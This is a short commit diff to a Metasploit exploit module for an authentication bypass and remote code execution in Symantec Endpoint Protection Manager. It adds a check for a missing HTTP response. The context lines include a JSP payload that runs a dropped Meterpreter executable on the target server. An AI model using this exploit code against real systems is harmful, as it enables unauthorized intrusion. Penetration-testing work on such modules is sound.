check res before calling get_cookies

2015-08-01 17:58:41 -05:00 · 2015-08-01 17:58:41 -05:00 · 272d75e437
parent 47e86000ee
commit 272d75e437
1 changed files with 4 additions and 0 deletions
--- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb
+++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb
@ -67,6 +67,10 @@ class Metasploit3 < Msf::Exploit::Remote
      }
    })

+    unless res
+      fail_with(Failure::Unknown, 'The server did not respond in an expected way')
+    end
+
    cookie = res.get_cookies

    exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\'+meterp+'.exe").getInputStream()).useDelimiter("\\\\A").next()%>'